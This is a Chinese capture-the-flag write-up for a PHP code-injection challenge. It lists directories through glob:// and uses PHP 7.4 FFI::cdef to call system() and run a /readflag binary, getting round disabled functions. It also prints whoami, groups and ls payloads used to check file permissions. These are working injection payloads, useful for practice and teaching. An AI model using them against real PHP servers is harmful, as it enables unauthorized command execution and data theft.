信息收集
上一題的讀取flag方式不能用了,使用后的回顯是:could not find driver
解題
同樣的查目錄方法
c=var_export(scandir("glob:///*"));die();
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);exit();
}
讀取flag
關于FFI的博客:PHP7.4 FFI 擴展安全問題
我只說FFI:cdef的一些結論:
php7.4才有
第二個參數可以缺省,缺省時大多情況下也能找到對應函數,有點類似于C的GetProcAddress
這個被調用的C函數由于沒有寫權限,前端沒有回顯
public static FFI::cdef(string $code = "", ?string $lib = null): FFI
最終答案
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();
其中readflag是可執行文件,不是flag,所以執行/readflag后將結果輸出到2.txt,就能拿到flag
由于沒有目錄穿透的手段了,只能復制到當前目錄進行讀取,可以使用include
或是readgzfile
啥的,都不影響
嘗試過程
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();
1.txt沒有內容,2.txt是個ELF文件,開頭有個ELF字樣,就像windows可執行文件PE文件開頭有MZ字樣,圖片文件開頭也有PNG等能標識文件格式的字樣。
這是一段偽C代碼,因為這是從硬編碼翻譯過來的,與原來的C代碼可能有所出入
使用uid設置為管理員權限
puts輸出一段字符串
執行system(“cat /flag36x.txt”),這和php中的代碼效果相同
猜測/flag36x.txt只有管理員能讀
執行下面命令查看文件屬性
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();
關于權限,看博客:Linux:文件權限詳解及修改方法
看權限分類即可
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();
打開who.txt得到我們是www-data
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();
groups.txt得到www-data : www-data,顯然我們不屬于管理員用戶組
而flag36x.txt的權限是擁有者可讀和所屬用戶組可讀,我們不滿足,無法讀取
如果嘗試復制這個文件就會提示如下錯誤
cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.
下一章就是web118
web76 ?? 目錄 ?? web118